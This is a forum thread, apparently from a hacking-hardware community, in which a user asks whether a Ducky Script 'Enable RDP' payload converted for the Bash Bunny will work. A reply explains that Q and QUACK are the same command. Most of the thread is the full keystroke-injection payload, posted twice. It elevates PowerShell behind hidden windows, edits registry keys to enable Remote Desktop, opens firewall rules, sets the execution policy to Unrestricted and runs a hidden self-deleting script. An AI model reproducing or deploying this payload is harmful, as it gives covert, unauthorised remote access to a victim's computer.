Jump to content

Rewriting Ducky Tool Kit payloads for Bash Bunny


Sohrce

Recommended Posts

I downloaded the Enable RDP duckycode from the Duck Tool Kit example payloads and wanted to modify it to work on the Bash Bunny. I added a Q in front of evreything except for the strings i added Quack. Will this work and is there a difference between Quack and Q.  

LED R 
ATTACKMODE HID 
Q DELAY 750  

Q GUI r 

Q DELAY 1000

QUACK STRING powershell Start-Process notepad -Verb runAs

Q ENTER

Q DELAY 750  

Q ALT y 

Q DELAY 750  

Q ENTER

Q ALT 
Q SPACE 

Q DELAY 1000

QUACK STRING m 

Q DELAY 1000

QUACK DOWNARROW
 REPEAT 100

Q ENTER

LED G B 100
QUACK STRING Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0

Q ENTER

QUACK STRING Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1
ENTER
STRING netsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes 

Q ENTER

QUACK STRING netsh advfirewall firewall set rule group='remote desktop' new enable=Yes 

Q ENTER

QUACK 
STRING Remove-Item $MyINvocation.InvocationName 

Q ENTER

Q CTRL s

Q DELAY 1000

LED R B
QUACK STRING C:\Windows\config-40970.ps1

Q ENTER

Q DELAY 1000

Q ALT F4 

Q DELAY 750  

Q GUI r

Q DELAY 750  

QUACK STRING powershell Start-Process cmd -Verb runAs 

Q ENTER

Q DELAY 750  

Q ALT y 

Q DELAY 1000

QUACK STRING mode con:cols=14 lines=1 

Q ENTER

Q ALT SPACE 

Q DELAY 750  

QUACK STRING m 

Q DELAY 750   

QUACK DOWNARROW 
REPEAT 100

Q ENTER

QUACK STRING powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false

Q ENTER

Q DELAY 750

QUACK STRING powershell.exe -windowstyle hidden -File C:\Windows\config-40970.ps1

Q ENTER
LED G

Link to comment
Share on other sites

LED R 
ATTACKMODE HID 
Q DELAY 750  

Q GUI r 

Q DELAY 1000

QUACK STRING powershell Start-Process notepad -Verb runAs

Q ENTER

Q DELAY 750  

Q ALT y 

Q DELAY 750  

Q ENTER

Q ALT 
Q SPACE 

Q DELAY 1000

QUACK STRING m 

Q DELAY 1000

QUACK DOWNARROW REPEAT 100

Q ENTER

LED G B 100
QUACK STRING Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0

Q ENTER

QUACK STRING Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1
Q ENTER
Quack STRING netsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes 

Q ENTER

QUACK STRING netsh advfirewall firewall set rule group='remote desktop' new enable=Yes 

Q ENTER

QUACK STRING Remove-Item $MyINvocation.InvocationName 

Q ENTER

Q CTRL s

Q DELAY 1000
 

Link to comment
Share on other sites

18 hours ago, Sohrce said:

 

I downloaded the Enable RDP duckycode from the Duck Tool Kit example payloads and wanted to modify it to work on the Bash Bunny. I added a Q in front of evreything except for the strings i added Quack. Will this work and is there a difference between Quack and Q.  

 

You have to install the dependencies by using the DuckyInstall payload in advance.

There is no difference between QUACK or Q instead of the length... AS it is written in wiki:

QUACK       Injects keystrokes (ducky script) or specified ducky script file.
Q       Alias for QUACK
Edited by GermanNoob
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...